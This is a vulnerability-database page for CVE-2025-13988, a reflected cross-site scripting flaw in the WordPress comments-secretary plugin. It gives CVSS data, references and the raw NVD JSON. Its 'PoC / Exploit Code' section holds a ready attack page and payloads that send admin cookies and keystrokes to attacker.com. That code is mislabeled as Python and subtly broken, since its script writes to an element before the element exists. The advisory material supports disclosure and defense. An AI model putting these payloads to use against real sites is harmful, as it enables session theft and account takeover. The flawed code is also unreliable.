CVE-2025-13988

Description

The 评论小秘书 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.3.2. This is due to insufficient input sanitization and output escaping on the `$_SERVER['PHP_SELF']` variable in the plugin's settings page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress评论小秘书插件(comments-secretary) <= 1.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13988 PoC: Reflected XSS in WordPress comments-secretary plugin -->
<!-- Target: WordPress site with comments-secretary plugin <= 1.3.2 -->
<!-- Attack Vector: Malicious URL via $_SERVER['PHP_SELF'] -->

<!-- Step 1: Craft the malicious URL -->
<!-- Replace 'http://target-site.com' with the actual WordPress site URL -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13988 PoC</title>
</head>
<body>
    <h1>CVE-2025-13988 Reflected XSS PoC</h1>
    <p>Target: WordPress with comments-secretary plugin <= 1.3.2</p>
    
    <script>
        // Malicious URL that triggers the XSS
        // The payload: /wp-admin/options-general.php/"><script>alert('XSS')</script>
        const targetUrl = 'http://target-site.com/wp-admin/options-general.php/';
        const xssPayload = '"><script>alert(document.cookie)</script>';
        
        // Generate the full malicious URL
        const maliciousUrl = targetUrl + xssPayload;
        
        // Display the PoC URL
        document.getElementById('poc-url').innerHTML = 
            '<a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a>';
        
        // Log for debugging
        console.log('Malicious URL:', maliciousUrl);
        
        // Function to demonstrate cookie theft (for educational purposes only)
        function demonstrateCookieTheft() {
            const cookies = document.cookie;
            console.log('Cookies would be stolen:', cookies);
            return cookies;
        }
    </script>
    
    <p>Malicious URL:</p>
    <div id="poc-url" style="background-color: #f0f0f0; padding: 10px; word-break: break-all;"></div>
    
    <p><strong>Attack Scenario:</strong></p>
    <ol>
        <li>Attacker creates a malicious URL with XSS payload</li>
        <li>Attacker tricks a logged-in WordPress admin into clicking the link</li>
        <li>Admin visits the URL, triggering the XSS</li>
        <li>Attacker's JavaScript executes in admin's browser</li>
        <li>Attacker can steal session cookies or perform actions as admin</li>
    </ol>
    
    <!-- Alternative payload for more advanced attacks -->
    <h2>Advanced Payload Examples</h2>
    <pre>
    <!-- Cookie stealing payload -->
    /"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
    
    <!-- Session hijacking payload -->
    /"><script>document.location='https://attacker.com/hijack?cookie='+document.cookie</script>
    
    <!-- Keylogger payload -->
    /"><script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+e.key}</script>
    </pre>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13988
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13988
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13988/
[4] VulDB https://vuldb.com/cve/CVE-2025-13988
[5] https://plugins.trac.wordpress.org/browser/comments-secretary/tags/1.3.2/tho_fetion.php#L173
[6] https://plugins.trac.wordpress.org/browser/comments-secretary/trunk/tho_fetion.php#L173
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/b24506c2-bf5e-4c71-94a5-c557a09f9f0d?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13988", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:45.697", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The 评论小秘书 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.3.2. This is due to insufficient input sanitization and output escaping on the `$_SERVER['PHP_SELF']` variable in the plugin's settings page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/comments-secretary/tags/1.3.2/tho_fetion.php#L173", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/comments-secretary/trunk/tho_fetion.php#L173", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b24506c2-bf5e-4c71-94a5-c557a09f9f0d?source=cve", "source": "[email protected]"}]}}